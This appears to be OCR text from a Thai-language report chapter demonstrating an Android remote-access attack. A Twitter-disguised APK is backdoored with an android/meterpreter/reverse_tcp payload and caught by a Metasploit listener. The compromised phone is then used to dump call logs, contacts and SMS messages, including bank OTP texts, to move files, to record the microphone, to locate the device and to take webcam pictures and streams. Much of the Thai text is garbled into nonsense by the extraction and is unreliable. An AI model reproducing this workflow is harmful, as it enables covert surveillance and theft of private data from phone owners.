. PATH: /home/kali/Deskt C/MaliciousAPK/twitterAPK.apk
erts tmp_

gﬂf/’i 4.22 wAananInwnlsuaslngd APK
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sktop/cpIc START LISTENER

,') Do you want to start listening now?

ore ~/.android/de
L]

p_back

zipalign 4 tmp_backdoor.apk twitterAPK.apk

[+] Done

UM 4.23 wilenauanenisisuilendy Start Listener

91n3UT 4.22 W{aW1n75 Sign waz Align tnd APK ludiiasaduazuansntiiniauen

AU 9v9na APK Tnifle 910 uagdnaniiniamInIunIsis ua uvinaunantu Start

Listener tiiasasun1sindaa AT ool gnlaudaesuil 4.23 vanidendalainesnisisy
Handuaznauluuanniingndnasy
Emergency.calls only® =052 01:33
2 .;.
Twiﬁer
¥
\
4
&
< O O

g‘dﬁ 4.24 Fananaundaty Twitter ifls Payload
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4.1.5 N15N19UYBININYY Start Listener

OPTIONS :

Select > 3
[3] START LISTENER

0

& Embed & C

OPTIONS : " SET LPORT
Enter Your Port
4444
Select > 3

[3] START LISTENER

0

gih'?i 4.26 AMUN Port

INFUT 4.25 nasanidenileidu Start Listener nuneiay 3 szuansvisinalvifiivun
IP Address aaatassnaglivinn1sland waglivinnsaivua Port M1agldlunns Listening 1o

sefunsindennIevegnladidetinsnaiiuaundnduiiils Payload Lifegui 4.26
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LISTENER MULTI/HANDLER

IIIIII

I love shells --egypt

) )4 post
s - 11 nops

Metasploit tip: Set the current module's RHOSTS with
database values using ts -R or service

Metasploit Documentation: https://docs.metasploit.com/

Using configured payload generic/shell reverse tcp
LHOST 192.168.1.118
LPORT 44
PAYLOAD == android/meterpreter/reverse tcp
L Started reverse TCP handler on 192.168.1.118:4444
[ |

gﬂﬁ 4.27 %1619 Metasploit Listening Mode

31NFUN 4.27 kanani1f 19N IYINIUYBUAT NI Metasploit Framework tiveidn

Listening Mode 585un15finsiaainia3eauassanlaui tneamua LHOST a1ul IP Address

al

wag LPORT 1y Port Tildmnuualinasudl 4.25 uay 4.26 muasy uaziivun Payload

Y

android/meterpreter/reverse_tcp \fi@¥n13 Reverse Shell U Android

se_tcp
L168.1.110:44449

> 192.168.1.182:48627) at

3U# 4.28 n15hnfaaniATavadEanlauf

IN3UT 4.28 Wargnlaufinisinasuasnaiiiueundinduiile Payload 13 agiing
49N135AnADNLATOIVBINYNLANAT IP Address 10U 192.168.1.102 1ndapzosvedlauf

Ingiiggnlanfazliinn antulwinisda Session eid1ds Shell vauaIaadming
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4.2 wagwsnisdrdsdayavwasaadmung

Computer
0s

chitecture

- Linux 4.1.18-g4ae3101 (armv7l)

1 Language :

rpreter

: dalvik/android

5UN 4.29 uansdayaszuuvaaasaatmang

INFUN 4.29 uanstayasyuuvasasasdmung Android OS version 7.0

- Userna

ue al72

preter = getenv

ANDROID STORAGE
ANDROID DATA
OEM _ROOT
ASEC_MOUNTPOINT
PATH

EXTERNAL STORAGE
ANDROID ROOT
ANDROID ASSETS
CUST POLICY DIRS

BOOTCLASSPATH

fatemfemuifoversea:fsyzte

/system/framework/core-oj.jar:/system/framewo

5UN 4.30 uansdaya User uazdaya Environment

INFUN 4.30 uanstayatie User Mvin133u Server agunueil uazdaya Environment

Variable #19 ¢ ¥9455UU 19U AW Root U8338UU sunisiivdeyanisuen 1usu
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ast modified

sUN 4.31 msidhdislnavuiasaadanineg

INFUTN 4.31 wanensidfiadeyalnesig q Tussvuveuaiaadmaneld nuuans

F19n3kWass 9 aelulwaines /sdeard/Pictures

ousAPK/id-ca
rets/id-card.png -=

MaliciousAPK

File Edit View Go Help

¢ - + A <« Akili W Deskiop CDIC MaliciousAPK

Places

& Computer

B kali
Desktop

v T T

= Documents

tools id-card.png malicious_apk.sh

M Music payloadAPK.apk  twitterAPK.apk
B Pictures

U 4.33 Trananidluanainasaatmane

31n3UN 4.32 waz3un 4.33 wanan1saidlvanlidlussuvvenaisadining lag

anansandlvanlnesy id-card.png Mniaseadmineinduniasveslauile



uploading

uploaded
malware.jpg

sUTl 4.34 nssulvanlngludundaadmune

Emergency calls only =B (413109:54
Categories Local
Local Internal storage Pictures Secrets
. malware.jpg
id-card.png

Dec 23, 2022, 0927 26.01 KB

T3 21 NRAASRIANK ¢~ STV |

| New folder Search Refresh Sort by More

L MAMEAL isaaa. cmmaic dRIFER T SR WE 3

5Ui 4.35 IWdiisuinanlugaaiaadvaneg

1N3UT 434 wargUN 4.35 uanen1sduluanlndainiadesvedlaudluduniag

Wwine Ingviimssunaalnasy malware jpg Wduasaautmne

> dump_calllog
Fetching 1274 entries

Call log saved to calllog dump 28221222223926.txt

5UN 4.36 nslvandayanising
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Open calllog_dump_20221222223926.txt [Read-Only]

[+] call log dump

6

7 0S: Android 7.0 - Linux 4.1.18-g4ae3101 (armv7l)
8 Remote IP: 192.168.1.102

0 Remote Port: 40701

10

11 #1

12 Number : 06

13 Name Dm

14 Date : Mon Oct 23 17:51:58 GMT+07:00 2017
15 Type : OUTGOING

16 Duration: 16

17

18 #2

19 Number : 06

20 Name : Mo

21 Date : Mon Oct 30 10:54:27 GMT+07:80 2017
22 Type : OUTGOING

23 Duration: 57

meterpreter

Fetching

7 0S: Android 7.0 - Linux 4.1.18-g4ae3101 (armv7l)
8 Remote IP: 192.168.1.102
9 Remote Port: 40701

10

11 #1

12 Name Dn

13 Number : 06

14

15 #2

16 Name : Mo

17 Number : 06

JUN 4.39 IWduanstayasnevefinnie

5 dump

UM 4.40 nMsluaadayavasdaniy
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Open ~ A sms_dump_20221222224406.txt [Read-Only]

1
R —
3 [+] SMS messages dump

7 0S: Android 7.@ - Linux 4.1.18-g4ae3101 (armv7l)

8 Remote IP: 192.168.1.102

9 Remote Port: 40701

10

11 #1

12 Type : Incoming

13 Date : 2021-01-08 06:07:52

14 Address : TMBBank

15 Status : NOT_RECEIVED

16 Message : Your OTP 1s to proceed your online transaction with
TMB CreditCard. OTP will be expired within 3 min.

17

18 #2

19 Type : Incoming

20 Date i 2021-01-28 06:05:04

21 Address : TMBBank

22 Status : NOT_RECEIVED

23 Message : Your OTP is to proceed your online transaction with
TMB CreditCard. OTP will be expired within 3 min.

JUN 4.41 IWsuanstayavastaninuaun

INUN 4.36 B93U7 4.41 Dunisiwandeyarae q arnesestnue laud deyanis

Insidneen deyasneiferinne uazdoyaveideniuvianan NileguusEUy

IC/Malicious

JUN 4.42 nsiunnuntinee
MaliciousAPK
File Edit View Go Help
4 - 4 & « Akli M Desktop CDIC MaliciousAPK

Places

Computer

B kali
- Desktop
' Trash I I

= Documents

hSVVunca.jpeg id-card.png

U 4.43 Tdnmniiaenduld

INFUT 4.42 wazuil 4.43 wananisdunmmthasvesaseudvane lnesamnduls

avaglulnawmesuumioslaumdisgy
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Emergency calls only =[O (381 10:53

L

Welcome to

Twitter

See what's happening in the
world right now

Twitter changed Vibration into Sound.
You can manually adjust the volume to
recover Vibration.

5UT 4.45 Yaanuuansnisivasulnuaides

NUN 4.44 wazgun 4.45 uanemiswdsuluuaidsaveunssadivang Wevinn1s

a = Y Y A ° a o & a a
WasUlUALE993LT9AINUKIFHDY f\]'mg‘thmmnﬂaaumn‘lumamﬂﬂumLﬂmam

Done

JUN 4.46 mataulwaidesvasaadivang

%

9N3UN 4.46 vinmsiaulnidides NOKIAwav Wuuwesosmue ansadaaulalidng

Y

gnlaudazinisidanuilaiduauuunietey

> record mic -d 10 - record.wav

o: fhome/kali/Desktop/CDIC/MaliciousAPK/record.wav

sUN 4.47 ArsUuNnLdesannAsadvidng

U
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Malicious APK

File Edit View Go Help

- 4 A ¢« Akali mDesktop CDIC MaliciousAPK

Places
&= Computer
B kali
Desktop

i Trash ? J J ?

tools id-card.png malicious_apk.sh

=) Documents

Music . . ;
“ o payloadAPK.apk record.wav twitterAPK.apk
B Pictures

U 4.48 Trlaidesinvinn1stuiin

NFUN 4.47 waz3un 4.48 wananstudindesnniaieadmunglaglidnludondn

waUnatatutufinde lnedewinisavuanainsesnsiunnuazas lainddeady wav

leapis.com/maps

a o

5U# 4.49 mamnnasundsveasadinung

J - o [ ; =
=] 138 ,100.5 | | Q X Y14 Restaurants [eQ Hotels (] Things to do @ Trai >
i ) v

s o\ R,
) (@) (9) (<)
N R

/ N\ 1
N I % {
Save Nearby Send to Share

phone

P T PR S e e g

Uil 4.50 szyifAuY Google Map

a v

INFUT 4.49 Uagguil 4.50 wammsafinadwnisvesased g ngavladida

Juavazfiganarassdyn anuuihfidalussyun Google Map wislilavyasuvisiiag

Y
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rting...
frame
Stopped
Webcam shot saved to: /home/kali/Desktop/CDIC/Malicioush napback. jpeg

MaliciousAPK
File Edit View Go Help
¢ = 4+ # <« #Akali = Desktop CDIC MaliciousAPK

Places
B8 Computer ; E i

I kali
Desktop

' Trash Q" x
& | Documents ‘ = F.-

# | Music

id-card.png malicious_apk.sh

payloadAPK.apk snapback.jpeg snapfront.jpeg

sUf 4.53 TWdsuitldannisenegy

INFUN 4.51 f93U7 4.53 wanen1saneivainndesaiesvesaiesdmunglaglyl

Iludeulaueufiawdundesitegy amnsaimunaslinindemiuazndoma

webcam stream -i 1 -g 100
Sta g - -
Preparing player...
Opening player at: /home/kali/Desktop/CDIC/MaliciousAPK/XoUyGqpH.html
Streaming...

stream -1 2 -gq 100

g player..
pl at: : esktop/CDIC/MaliciousAPK,
Streaming

5UT 4.55 myanlundaadsvaasaadnung
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Metasploit screenshare - 19° X = +

C @ O file:///fhome/kali/Desktop/CDIC/MaliciousAPK/XoUyGgpH.html

KaliLinux # KaliTools ¢ KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Ha¢

Target IP : 192.168.1.102
Start time : 2022-12-22 23:17:00 -0500
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